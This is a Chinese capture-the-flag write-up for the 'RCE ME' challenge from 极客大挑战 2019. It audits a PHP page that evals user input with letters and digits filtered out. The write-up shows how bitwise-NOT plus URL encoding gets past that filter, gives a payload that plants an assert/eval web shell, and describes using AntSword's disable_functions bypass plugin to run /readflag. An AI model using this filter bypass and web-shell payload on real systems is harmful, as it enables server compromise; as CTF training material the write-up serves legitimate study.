[极客大挑战 2019]RCE ME
[极客大挑战 2019]RCE ME
1.一道无数字字母的RCE。
2.审计代码,要求传入的code长度小于40,而且没有数字大小写字母,
<?php error_reporting(0); if(isset($_GET['code'])){ $code=$_GET['code']; if(strlen($code)>40){ die("This is too Long."); } if(preg_match("/[A-Za-z0-9]+/",$code)){ die("NO."); } @eval($code); } else{ highlight_file(__FILE__); }
3.思路直接将命令异或或者取反即可 取反后也有带数字字母的编码,为什么就可以呢,因为取反后url进行编码会将其编码为无法识别的字符,从而绕过无字母无数字的过滤
还有为什么不能直接phpinfo()取反
当(~%8F%97%8F%96%91%99%90%D7%D6);
被当作代码执行时的第一步就是取反操作 ~
但是取反得到的字符串 phpinfo()
并不会被当作代码执行,因为在取反之前PHP解释器并不知道这原来是 phpinfo()
<?php $a='phpinfo'; $b=~$a; echo urlencode($b); ?>
//得到%8F%97%8F%96%91%99%90% (~%8F%97%8F%96%91%99%90%)=phpinfo
可以看到有许多命令执行函数基本都被ban掉了
4.想着写一个shell进去,system被ban了还有assert,原本后门就是assert(eval($_POST(hhz)))
<?php $a='assert'; $b=urlencode(~$a); echo $b; echo "@@@"; $c='(eval($_POST[hhz]))'; $d=urlencode(~$c); echo $d; ?
运行得到%9E%8C%8C%9A%8D%8B@@@%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%97%97%85%A2%D6%D6
payload:?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%97%97%85%A2%D6%D6);
传入后门后蚁剑连接,查看根目录,看到flag但是里面看不到东西,通过名字推断是通过执行 /readflag 来获取flag
虽然很多函数被ban了,但是蚁剑正好有一个绕过disable_functions的插件,右键url地址
选择模式,然后点开始
输入/readflag得到flag